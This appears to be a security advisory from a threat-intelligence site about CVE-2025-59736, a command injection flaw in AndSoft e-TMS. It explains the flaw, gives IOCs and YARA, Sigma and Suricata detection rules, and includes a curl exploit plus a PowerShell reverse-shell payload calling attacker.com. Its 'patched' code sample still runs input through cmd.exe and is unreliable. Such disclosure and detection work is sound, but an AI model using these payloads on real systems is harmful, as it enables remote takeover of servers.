CVE-2025-59736
Executive Summary
CVE-2025-59736 is a critical operating system command injection vulnerability in AndSoft's e-TMS (Transport Management System) version v25.03. The flaw resides in the /clt/LOGINFRM_DJO.ASP endpoint, specifically within the m parameter of a POST request. An unauthenticated attacker can inject arbitrary OS commands, leading to full server compromise. No patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data, but the actual severity is critical. This vulnerability is actively exploitable and poses a high risk to organizations using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0 (likely due to incomplete data), based on the vulnerability characteristics, the estimated CVSS v3.1 vector is:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction required.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection in an ASP application. The m parameter in the POST request to /clt/LOGINFRM_DJO.ASP is passed unsanitized to a system command execution function (likely WScript.Shell or similar). An attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands on the underlying Windows server.
Root Cause: The application fails to validate or sanitize user input before using it in a shell command. This is a direct violation of secure coding practices (CWE-78).
Attack Flow:
- Attacker identifies the vulnerable endpoint
/clt/LOGINFRM_DJO.ASP. - Attacker crafts a POST request with a malicious
mparameter containing OS commands. - The server executes the injected commands with the privileges of the web application (often
SYSTEMorNETWORK SERVICE). - Attacker gains remote code execution, can install backdoors, exfiltrate data, or pivot within the network.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual ASP):
<%
Dim cmd
cmd = Request.Form("m")
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & cmd
%>
Patched Code (Conceptual):
<%
Dim cmd
cmd = Request.Form("m")
' Validate input: only allow alphanumeric and specific safe characters
If Not IsValidInput(cmd) Then
Response.Write "Invalid input"
Response.End
End If
' Use parameterized API or safe execution
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & EscapeShellArg(cmd)
%>
Key Differences:
- Input validation: Patched version checks for allowed characters.
- Safe execution: Patched version uses
EscapeShellArgto prevent injection. - No patch is available from the vendor; this is a conceptual fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running AndSoft e-TMS v25.03.
- Network access to the
/clt/LOGINFRM_DJO.ASPendpoint.
Exploit Payload (cURL):
curl -X POST http://target.com/clt/LOGINFRM_DJO.ASP \
-d "m=whoami"
Advanced Payload (Reverse Shell):
curl -X POST http://target.com/clt/LOGINFRM_DJO.ASP \
-d "m=powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
Lab Setup:
- Deploy a Windows Server 2019/2022 with IIS and ASP support.
- Install AndSoft e-TMS v25.03 (if available) or simulate the vulnerable endpoint.
- Use a listener (e.g.,
nc -lvnp 4444) to catch the reverse shell.
Blue Team (Detection & Defense)
Detection:
- Monitor IIS logs for POST requests to
/clt/LOGINFRM_DJO.ASPwith suspiciousmparameters. - Look for command separators (
;,|,&&,||) in themparameter. - Alert on outbound connections from the web server to unknown IPs on high ports.
Defense:
- Immediately isolate the affected server if exploitation is suspected.
- Apply a Web Application Firewall (WAF) rule to block malicious
mparameter patterns. - Restrict outbound traffic from the web server to only necessary destinations.
- If possible, disable the vulnerable endpoint or remove the ASP file.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/clt/LOGINFRM_DJO.ASPwithmparameter containing shell metacharacters. - Outbound connections from the web server to attacker-controlled IPs on ports 4444, 8080, or 1337.
- Unusual DNS queries from the web server.
File IOCs:
- Suspicious files in
C:\Windows\Temp\orC:\inetpub\wwwroot\(e.g.,.exe,.ps1,.asp). - Modified or new ASP files in the web root.
- Presence of tools like
nc.exe,powershell.exespawned byw3wp.exe.
Process IOCs:
cmd.exeorpowershell.exespawned byw3wp.exe(IIS worker process).- Unusual child processes of
w3wp.exe.
Detection Engineering
YARA Rule
rule CVE_2025_59736_OS_Command_Injection {
meta:
description = "Detects OS command injection attempts targeting AndSoft e-TMS CVE-2025-59736"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59736"
strings:
$asp_endpoint = "/clt/LOGINFRM_DJO.ASP" nocase
$cmd_separator1 = ";" ascii
$cmd_separator2 = "|" ascii
$cmd_separator3 = "&&" ascii
$cmd_separator4 = "||" ascii
$cmd_keyword1 = "cmd.exe" ascii
$cmd_keyword2 = "powershell" ascii
$cmd_keyword3 = "whoami" ascii
condition:
$asp_endpoint and (
$cmd_separator1 or $cmd_separator2 or $cmd_separator3 or $cmd_separator4 or
$cmd_keyword1 or $cmd_keyword2 or $cmd_keyword3
)
}
Sigma Rule
title: CVE-2025-59736 OS Command Injection in AndSoft e-TMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/clt/LOGINFRM_DJO.ASP'
cs-uri-query|contains:
- 'm=;'
- 'm=|'
- 'm=&&'
- 'm=||'
- 'm=cmd.exe'
- 'm=powershell'
- 'm=whoami'
condition: selection
falsepositives:
- Legitimate use of semicolons in input (unlikely)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-59736 AndSoft e-TMS OS Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/clt/LOGINFRM_DJO.ASP";
http_uri;
content:"m=";
http_client_body;
pcre:"/m=[^&]*(?:;|\||&&|\|\||cmd\.exe|powershell|whoami)/i";
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected server from the network if exploitation is suspected.
- Disable the vulnerable endpoint by removing or renaming
LOGINFRM_DJO.ASP. - Apply WAF rules to block malicious
mparameter patterns. - Monitor for signs of compromise using the provided IOCs and detection rules.
Long-Term Fix:
- Contact AndSoft for an official patch. If unavailable, consider migrating to an alternative TMS solution.
- Implement input validation and parameterized command execution in all ASP applications.
- Conduct a full security audit of the e-TMS application.
Compromise Assessment:
- Check for unauthorized user accounts, scheduled tasks, and services.
- Review IIS logs for exploitation attempts.
- Scan for backdoors and persistence mechanisms.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert